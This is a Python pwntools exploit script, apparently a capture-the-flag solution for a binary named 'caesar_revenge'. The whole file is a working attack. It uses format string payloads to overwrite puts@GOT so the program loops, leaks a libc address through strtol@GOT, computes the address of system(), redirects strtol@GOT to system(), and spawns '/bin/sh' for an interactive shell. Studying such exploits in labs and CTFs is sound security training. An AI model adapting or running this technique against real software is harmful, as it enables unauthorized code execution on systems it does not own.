# exploit_caesar_revenge.py

from pwn import *

e = ELF("./caesar_revenge")

addr_puts_got = e.got["puts"] # GOT address of puts()
addr_strtol_got = e.got["strtol"] # GOT address of strtol()
addr_caesar = 0x401196 # address of caesar()
offset_strtol = 0x45110 # offset of strtol() from libc base
offset_system = 0x4f440 # offset of system() from libc base

p = process("./caesar_revenge")

# make loop
payload = "%" + str(addr_caesar) + "x%26$ln"
payload = payload.ljust(16, ' ')
payload += p64(addr_puts_got)

p.sendlineafter("encoded: ", payload)
p.sendlineafter("shift: ", "26")

# libc leak
payload = "%25$s".ljust(8, ' ')
payload += p64(addr_strtol_got)

p.sendlineafter("encoded: ", payload)
p.sendlineafter("shift: ", "26")

p.recvuntil("Result: ")
addr_strtol = u64(p.recv(6).ljust(8, '\x00')) # address of strtol()
log.info("address of strtol(): " + hex(addr_strtol) + ", " + str(addr_strtol))
addr_libc = addr_strtol - offset_strtol # address of libc base
log.info("address of libc base: " + hex(addr_libc) + ", " + str(addr_libc))
addr_system = addr_libc + offset_system # address of system()
log.info("address of system(): " + hex(addr_system) + ", " + str(addr_system))

addr_system_first = addr_system & 0xffff
addr_system_second = (addr_system & 0xffff0000) >> 16

# strtol@GOT -> system()
payload = "%" + str(addr_system_first) + "x%28$hn"
payload += "%" + str(addr_system_second + 0x10000 - addr_system_first) + "x%29$hn"
payload = payload.ljust(32, ' ')
payload += p64(addr_strtol_got)
payload += p64(addr_strtol_got + 2)

p.sendlineafter("encoded: ", payload)
p.sendlineafter("shift: ", "26")

# system("/bin/sh")
p.sendlineafter("encoded: ", "A")
p.sendlineafter("shift: ", "/bin/sh")

p.interactive()